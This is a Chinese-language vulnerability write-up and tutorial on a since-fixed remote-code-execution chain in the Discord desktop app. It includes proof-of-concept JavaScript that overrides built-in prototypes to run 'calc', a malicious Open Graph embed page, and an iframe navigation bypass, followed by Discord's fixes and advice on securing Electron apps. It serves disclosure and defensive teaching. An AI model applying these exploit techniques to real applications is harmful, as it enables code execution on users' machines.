挖洞经验 | 综合三个Bug实现Discord桌面应用RCE漏洞
字数 1747 2025-08-15 21:32:22
Discord桌面应用RCE漏洞分析与利用教学
漏洞概述
本教学文档详细分析Discord桌面应用中发现的远程代码执行(RCE)漏洞,该漏洞通过综合利用三个独立的安全缺陷实现。漏洞发现者因此获得了总计$5,300的奖励。
漏洞背景
Discord是一款基于Electron架构开发的即时通信软件,覆盖Windows、MacOS、Android、iOS等多个平台。Electron架构因其允许使用Web技术开发桌面应用而流行,但也带来了特有的安全挑战。
漏洞组成
该RCE漏洞由以下三个安全缺陷组合利用实现:
1. Missing contextIsolation (上下文隔离未启用)
问题描述:
Discord的BrowserWindow配置中禁用了contextIsolation功能,导致Web页面中的JavaScript可以影响Electron内部渲染时的JS代码和预加载脚本执行。
关键代码片段:
const mainWindowOptions = {
webPreferences: {
nodeIntegration: false,
contextIsolation: false, // 关键安全配置缺失
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
// 其他配置...
}
};
利用原理:
- 当
contextIsolation为false时,Web页面JS可以覆盖Electron内置JS方法 - 即使
nodeIntegration为false,通过方法覆盖仍可间接访问Node.js功能 - 通过覆盖
RegExp.prototype.test和Array.prototype.join方法,可以干扰模块执行路径
PoC代码:
RegExp.prototype.test=function(){return false;}
Array.prototype.join=function(){return "calc";}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
影响:
- 可以执行任意系统命令
- 在Windows系统上可启动计算器程序(calc.exe)
2. XSS in iframe embeds (iframe嵌入功能中的XSS)
问题描述:
Discord支持通过Open Graph Protocol(OGP)嵌入第三方内容,其中sketchfab.com域名的iframe嵌入存在DOM-based XSS漏洞。
利用方法:
- 构造恶意OGP协议的HTML页面
- 通过Discord聊天发送包含该页面的链接
- 当用户点击链接时触发XSS
PoC示例:
<head>
<meta property="og:title" content="RCE DEMO">
<meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
<meta property="og:video:type" content="text/html">
</head>
限制:
- XSS仅在iframe上下文中执行
- 需要结合其他漏洞突破iframe限制
3. Navigation restriction bypass (导航限制功能绕过, CVE-2020-15174)
问题描述:
Electron的"will-navigate"事件对iframe导航的限制存在缺陷,当顶部导航和iframe属于不同域时,导航限制会被绕过。
关键代码:
mainWindow.webContents.on('will-navigate', (evt, url) => {
if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
evt.preventDefault();
}
});
利用方法:
- 从iframe中导航到顶层窗口
- 结合XSS执行跨域导航
- 突破iframe限制执行主窗口中的恶意代码
PoC代码:
top.location="//l0.cm/discord_calc.html"
漏洞组合利用流程
- 初始访问:攻击者通过Discord聊天发送恶意OGP链接
- XSS触发:受害者点击链接,触发sketchfab.com域名的iframe XSS
- 导航绕过:利用CVE-2020-15174从iframe导航到攻击者控制的页面
- 上下文隔离绕过:在新页面中覆盖内置JS方法
- Node.js功能访问:通过方法覆盖干扰模块执行路径
- 命令执行:最终执行系统命令实现RCE
漏洞修复方案
Discord安全团队采取了以下修复措施:
- 禁用sketchfab.com的嵌入功能
- 在iframe中启用沙箱功能防止导航限制绕过
- 启用
contextIsolation配置 - 更新Electron版本修复CVE-2020-15174
防御建议
基于此案例,开发Electron应用时应:
- 启用上下文隔离:始终设置
contextIsolation: true - 禁用Node.js集成:除非必要,否则设置
nodeIntegration: false - 严格限制iframe嵌入:谨慎审核允许嵌入的第三方内容
- 实施严格的CSP策略:限制脚本执行来源
- 及时更新Electron:修复已知的安全漏洞
- 沙箱化不可信内容:对第三方内容使用沙箱iframe
参考资源
通过本案例的分析,我们可以深入了解Electron应用的安全风险以及如何通过深度防御策略保护应用安全。